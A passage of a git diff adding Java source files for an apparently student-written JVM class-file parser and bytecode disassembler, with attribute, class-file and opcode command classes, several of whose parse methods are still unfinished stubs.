+import com.github.orajavac.coding2017.jvm.cmd.ByteCodeCommand;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo{
+
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		int attrNameIndex = iter.nextU2ToInt();
+		int attrLen = iter.nextU4ToInt();
+		int maxStack = iter.nextU2ToInt();
+		int maxLocals = iter.nextU2ToInt();
+		int codeLen = iter.nextU4ToInt();
+		String code = iter.nextUxToHexString(codeLen);
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code);
+		int exceptionTableLen = iter.nextU2ToInt();
+		if (exceptionTableLen>0){
+			String exTable = iter.nextUxToHexString(exceptionTableLen);
+		}
+		int subAttrCount = iter.nextU2ToInt();
+		for (int x=1;x<=subAttrCount;x++){
+			int subAttrIndex = iter.nextU2ToInt();
+			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+			iter.back(2);
+			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
+				LineNumberTable t = LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(t);
+			}else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
+				LocalVariableTable t = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(t);
+			}else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
+			}else{
+				throw new RuntimeException("need code to process");
+			}
+		}
+		return null;
+	}
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..2fd7714bcb
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
@@ -0,0 +1,40 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo  {
+	
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..5ddd8ce997
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..3228616eac
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,49 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		LocalVariableTable table = new LocalVariableTable(index,len);
+		int itemLen = iter.nextU2ToInt();
+		for (int i=1;i<=itemLen;i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..e9d5430659
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/StackMapTable.java
@@ -0,0 +1,28 @@
+package com.github.orajavac.coding2017.jvm.attr;
+
+import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..5bcce47ff1
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/AccessFlag.java
@@ -0,0 +1,24 @@
+package com.github.orajavac.coding2017.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..f29ce707e1
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassFile.java
@@ -0,0 +1,91 @@
+package com.github.orajavac.coding2017.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.field.Field;
+import com.github.orajavac.coding2017.jvm.method.Method;
+
+public class ClassFile {
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..4959c05a2d
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.github.orajavac.coding2017.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..7ecc43d30e
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..62e56ecfc9
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..7223cb7afc
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..acd1d7202f
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..7bdc7ca76b
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..f467b84f3f
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..f210141c66
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..41f73494e7
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..52d280cc0b
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..7a6781c152
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..f9d005287f
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..1fd6b367e1
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..4deb99ecd2
--- /dev/null
+++ b/group02/562768642/src/com/github/orajavac/coding2017/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.github.orajavac.coding2017.jvm.cmd;
+
+import com.github.orajavac.coding2017.jvm.clz.ClassFile;
+import com.github.orajavac.coding2017.jvm.constant.ClassInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantInfo;
+import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
+import com.github.orajavac.coding2017.jvm.constant.FieldRefInfo;
+import com.github.orajavac.coding2017.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
